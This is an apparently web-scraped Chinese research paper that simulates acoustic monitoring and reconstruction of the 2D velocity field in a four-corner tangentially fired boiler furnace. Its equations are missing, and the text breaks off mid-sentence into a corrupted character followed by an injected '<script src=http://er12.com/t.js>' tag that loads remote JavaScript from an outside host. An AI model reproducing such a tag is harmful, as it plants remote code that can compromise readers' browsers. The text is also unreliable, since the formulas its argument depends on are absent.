摘 要：该文模拟研究了声波法四角切圆燃烧锅炉炉膛二维速度场监测方法。建立了一个由6个参数决定的四角切圆流动二维速度场简化模型，该模型能够反映切圆流场的基本特征。采用声波传感器测量得到的多个路径上声波的传递时间包含流场的信息，据此建立了重建出流场分布特征的方法。在一定的模拟流场及测量条件下，通过计算获得声波传递时间，以此作为模拟检测数据，加入不同幅度的测量误差后，所重建出的二维速度场能够反映设定流场的基本特征，证明所研究的方法是稳定和有效的。
关键词: 声波法；炉膛；四角切圆速度场
1 引言
炉膛内动力场和温度场相互影响，炉膛燃烧空气动力场的监测对于炉膛燃烧优化调整和控制有十分重要的意义。同时，锅炉炉内空气动力工况不仅直接影响着锅炉的燃烧工况与效率，还影响着炉膛及受热面的安全性，为解决锅炉结焦、残余旋转等问题，以及锅炉的改造或热态燃烧调整提供可靠的科学依据，锅炉试验人员要经常在现场进行冷态空气动力场试验。炉内冷态空气动力场试验通常用飘带与测量相结合的方法进行 [1]：用飘带网来观察某一截面的全面气流状况，用风速仪在炉内测量炉内速度场。这种方法工作繁重，困难大，难于给出不受干扰情况下的炉内空气动力特性。目前较新的流场测量技术主要有热线风速仪法[2]；也有尝试用激光法的[3]，但都有着较大的局限性。
声波法用于炉膛内热物理量场的重建在国外已有研究，文[5]中用声波法测量炉膛内燃烧气体温度和速度的平均空间分布，文[6]中用声波法测量大尺寸炉膛内的二维速度场。由于高温燃烧空间声波传递过程受到当地温度和速度场的同时影响，试图从声波传递信息中同时重建温度和速度场是很困难的。国内已开展了基于辐射图像处理的炉膛燃烧三维温度场可视化研究工作[7]，以此作为基础，利用声波传递信息重建速度场具有一定的现实性。声波法监测的基本原理是：在炉膛某一高度的炉壁上均匀布置8组声波发射-接收装置，由此确定测量平面内 24 条不同的声波传播路径，如图1所示，图中路径上的箭头表示所规定的声波传播正方向；测出各路径上往返的声波传播时间，将这些测量数据代入本算法程序进行计算，即重建出该水平面上的二维速度场。本文描述并验证这一方法用于四角切圆流场监测模拟研究结果的有效性，为实验研究奠定基础。
2 模拟研究
2.1 四角切圆流动二维简化模型
模拟方法如下：先假定一个椭圆轨迹的四角切圆二维速度场简化模型，也就是假定出确定该速度场的各个参数；然后由假定的速度场算得各测量路径上的传播时间数据；再由该组数据通过迭代计算，重建出所假定的四角切圆二维速度场。最后，对计算程序进行了必要的误差分析，验证计算程序的稳定性。
二维速度场模型由下面6个参数确定：切圆中心位置坐标x0 、y0 ，切圆的长短半径a 、b ，一维速度曲线内外侧的斜率a 、d ，如图2所示。确定炉膛水平截面的几何中心为二维速度场坐标中心，点(x0 、y0 )为速度场切圆的中心，然后以该点为坐标中心建立平行于原坐标系xoy的相对坐标系为
在确定速度场的函数表示之前，先表示出x'轴上的一维速度函数，将该函数绕竖直轴沿椭圆(速度切圆)作旋转即可得出二维速度场的函数。速度方向取为逆时针。
如图2，假定x' 轴上的一维速度函数曲线为一折线，且速度在切圆心处为0,x'=a时达到最大，折线两侧斜率分别取为a ，d ；该折线绕通过切圆中心的竖直轴线旋转的轨迹是一个椭圆，形成的二维速度曲面是一个椭圆锥面，其形状为火山口状；椭圆的长短两半径分别为a 、b。以上给出了该四角切圆模型的6个未知参数，而由于我们所采用的发射-接收器为8 对，可确定24 条测量路径，即可列出24 个方程，故方程组是超定的，但这对结果的误差分析计算是必要的。
由上述模型可确定流场中切圆内外侧的速度大小如下：
在二维速度场内任意不同半径的切圆，其尺寸是成比例的，即速度场内各点所处的椭圆和最大值椭圆具有同一的半径平方比a2/b2。假设q为场内各点速度与 x 轴所成角（0至2p），则有
该式给出了二维流场内各点处的方向。
2.2 流场重建监测方法
由费尔马原理，炉内温度场的非均匀性将使炉内声波传播路线发生弯曲[6]。本文研究对象为冷态条件，温度场均一，声波路线为直线。其传播时间由式(4)给出(以路径1为例，其它路径相类似)
式中 l1为传感器间的连线;c(x,y)为静止空气中的声速；p1为与l1平行的单位向量；u(x,y) 为烟气流速；点“×”表示内积。
本文研究对象即是冷态条件下的动力场模型，声速值c(x,y)为一常数，这样通过式(5)就能够重建二维动力场u(x,y) 。
为计算方便，将式(5)记作如下形式，则各条路径上声波的理论传递时间数据为
式中 gj为第 j 条路径正反方?script src=http://er12.com/t.js>
